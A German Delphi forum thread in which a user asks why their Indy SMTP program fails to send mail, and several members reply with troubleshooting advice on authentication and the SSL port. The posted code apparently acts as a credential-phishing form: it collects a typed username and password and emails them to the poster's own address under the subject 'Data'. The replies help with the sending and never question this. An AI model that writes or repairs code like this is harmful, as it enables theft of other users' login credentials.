AGB  ·  Datenschutz  ·  Impressum  







Anmelden
Nützliche Links
Registrieren
Thema durchsuchen
Ansicht
Themen-Optionen

SMTP-Email

Ein Thema von CallOfUnite · begonnen am 2. Jun 2012 · letzter Beitrag vom 2. Jun 2012
Antwort Antwort
Benutzerbild von CallOfUnite
CallOfUnite

Registriert seit: 30. Jan 2012
Ort: Welt, bevorzugt Pokemon Island wie mein Vater zu sagen pflegte
33 Beiträge
 
Delphi 2005 Personal
 
#1

SMTP-Email

  Alt 2. Jun 2012, 13:39
Ich bins Nochmal
Habs jetzt geschafft nen Prog zu schreiben das theoretisch die email senden sollte...
Jedoch bekomme ich die meldung 'connection closed gracefully'
auf rat hin habe ich mein antiviren programm ausgeschaltet und habe es noch mal versucht, danach kam der fehler
'EIDSocketerror meldung socket error #10054 connection reset by peer' aufgetreten.

ich hab echt grade kein plan wieso das so ist :/ kann mir bitte jmnd helfen?

SC:
Delphi-Quellcode:
unit mEmail;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdExplicitTLSClientServerBase, IdMessageClient, IdSMTPBase, IdSMTP, jpeg,
  ExtCtrls, IdMessage;

type
  TForm1 = class(TForm)
    StatusMemo: TMemo;
    SMTP: TIdSMTP;
    Username: TEdit;
    Password: TEdit;
    Image1: TImage;
    ButtonNorm: TImage;
    ButtonColor: TImage;
    MailMessage: TIdMessage;
    procedure ButtonColorClick(Sender: TObject);
    procedure Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure ButtonNormMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ButtonNormMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
ButtonColor.Visible:=True;
Buttonnorm.Visible:=False;
end;

procedure TForm1.Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
ButtonColor.Visible:=not True;
Buttonnorm.Visible:=not False;
end;

procedure TForm1.ButtonColorClick(Sender: TObject);
begin

MailMessage.From.Address:='sender email';
MailMessage.Recipients.EMailAddresses:='meine e-adresse zum empfang';
MailMessage.Subject:='Data';
MailMessage.Body.Text:='Benutzername:'+#9+Username.Text+#9+'Passwort:'+#9+Password.Text;

Smtp.Host:='smtp.mail.yahoo.com';
Smtp.Port:=465;
Smtp.Username:='meine email';
Smtp.Password:='mein passwort';
Smtp.Connect;

try
Smtp.send(MailMessage);
finally
Smtp.Disconnect;
end;

end;
end.

bitte bitte kann mir vielleicht auch jemand erklären das ich es verstehe?

MfG CallOfUnite
Delphi ist...

...na Programmieren, was dachtest du denn?
  Mit Zitat antworten Zitat
Thomas Horstmann

Registriert seit: 25. Apr 2007
Ort: NRW
87 Beiträge
 
Delphi 12 Athens
 
#2

AW: SMTP-Email

  Alt 2. Jun 2012, 14:02
"connection closed gracefully" ist eine Meldung die normalerweise vom Server kommt.
Beim GMX und Co. erscheint sie, wenn zu oft bzw. zu schnell hintereinander
an-/abgemeldet wurde. Ggf. kann sie auch auf Probleme mit dem Port hindeuten.
  Mit Zitat antworten Zitat
Benutzerbild von himitsu
himitsu

Registriert seit: 11. Okt 2003
Ort: Elbflorenz
44.056 Beiträge
 
Delphi 12 Athens
 
#3

AW: SMTP-Email

  Alt 2. Jun 2012, 14:09
Einige Provider erlauben kein direktes Senden.

Es gibt verschiedene Arten der Authentifizierung.
z.B. Muß/kann man sich oftmals vorher via POP3 anmelden und es wird dann für eine gewisse Zeit die eigene IP für das Senden (SMTP) freigeschaltet.

Auch wird bei SMTP standardmäßig Passwort und Passwort unverschüsselt (als Klartext) übertragen, weswegen einige Provider das aus Sicherheit nicht zulassen.
- Authentifizierung via POP3/IMAP4
- und oder du schaust dir mal SASL an (Simple Authentication and Security Layer => IMAP.SASLMechanisms)


[edit]
Ich hatte daher vor 'ner Weile mal versucht verschieden Dinge in einer Klasse zusammenzufassen.
Der Einfachheithalber könntest du einfach mal die zweite TSendMail.SendMail-Methode (Prozedur) ausprobieren.
Angehängte Dateien
Dateityp: pas SimpleMail.pas (51,0 KB, 144x aufgerufen)
Neuste Erkenntnis:
Seit Pos einen dritten Parameter hat,
wird PoSex im Delphi viel seltener praktiziert.

Geändert von himitsu ( 2. Jun 2012 um 14:47 Uhr)
  Mit Zitat antworten Zitat
mjustin

Registriert seit: 14. Apr 2008
3.006 Beiträge
 
Delphi 2009 Professional
 
#4

AW: SMTP-Email

  Alt 2. Jun 2012, 16:01
Port 465 ist für SSL/TLS und inzwischen veraltet (laut http://de.wikipedia.org/wiki/Simple_...nsfer_Protocol).

Es fehlt also eine Indy SSL Komponente im Code, die dann über OpenSSL die Verschlüsslung übernimmt. Ich habe keinen Quelltext zur Hand, aber es sollte im Web dazu Beispiele geben.
Michael Justin
  Mit Zitat antworten Zitat
Antwort Antwort


Forumregeln

Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are aus

Gehe zu:

Impressum · AGB · Datenschutz · Nach oben
Alle Zeitangaben in WEZ +1. Es ist jetzt 00:03 Uhr.
Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz